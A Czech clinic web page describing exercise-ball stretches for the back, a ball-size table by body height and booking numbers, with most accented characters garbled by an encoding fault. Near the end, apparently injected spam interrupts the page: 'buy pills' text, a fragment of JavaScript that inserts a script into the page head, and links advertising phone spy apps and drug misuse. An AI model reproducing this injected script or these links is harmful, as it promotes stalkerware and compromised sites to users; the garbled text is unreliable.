RegeneraA?nA� cviA?enA�

RegeneraA?nA� cviA?enA� = kondiA?nA� cviA?enA�. ZamA�A�uje se na celkovA� posA�lenA� pA?teA�e.

 

PoradA�te nA?m pA?r univerzA?lnA�ch cvikA? vhodnA?ch napA�A�klad k protaA?enA� po celA�m dni u poA?A�taA?e?
1. VsedA� na mA�A?i si dejte ruce v tA?l. Zhluboka vdechnA�te a s vA?dechem obloukovitA� pA�edkloA?te trup (postupnA� od krA?nA� pA?teA�e). V koneA?nA� poloze (pA?nev je kolmo na mA�A? a trup je v pA�edklonu) chvA�li vydrA?te (nezadrA?ujte dech). S vdechem se postupnA� (obratel po obratli od bedernA� pA?teA�e) vraA?te do zA?kladnA�ho postavenA�.
2. VsedA� na mA�A?i vzpaA?te. Zhluboka vdechnA�te a s vA?dechem ukloA?te trup vpravo. V koneA?nA� poloze chvA�li vydrA?te. S vA?dechem se vraA?te zpA�t do zA?kladnA�ho postavenA�. TotA�A? cviA?te na druhou stranu.
3. VleA?e na bA�iA?e (vzpor kleA?mo, mA�A? pod bA�ichem) vdechnA�te do oblasti bA�icha, bA�icho se „vyklene“ a stlaA?A� mA�A?. S vA?dechem se bA�icho zploA?tA� a mA�A? se uvolnA�.

OptimA?lnA� prA?mA�r mA�A?e vzhledem k vA?A?ce
VA?A?ka v cm – prA?mA�r mA�A?e v cm
80A�A� aA? 110 – A�30
110 aA? 135 – A�45
135 aA? 160 -A� 55
160 aA? 180 -A� 65
180 a vA�ce A�-A� 75

online

 

 

 


ObjednA?vky tel. 733 604 085 pro masA?A? nebo na 606444661 a 517334069 pro rehabilitaci.

buy pills if (document.currentScript) { d.getElementsByTagName(‘head’)[0].appendChild(s); http://miraimall.net/archives/15872 Buy Order https://topspyapps.net – The most popular 2017 spy software applications for the mobile phones. online Cheap spying app, spy cell, buscar movil por gps http://fandi.mhs.narotama.ac.id/2018/02/02/how-much-lisinopril-to-get-high/ Pills order anacin 3

Děláme i léčebné rehabilitace. Více informací na www.lecebnarehabilitace.cz »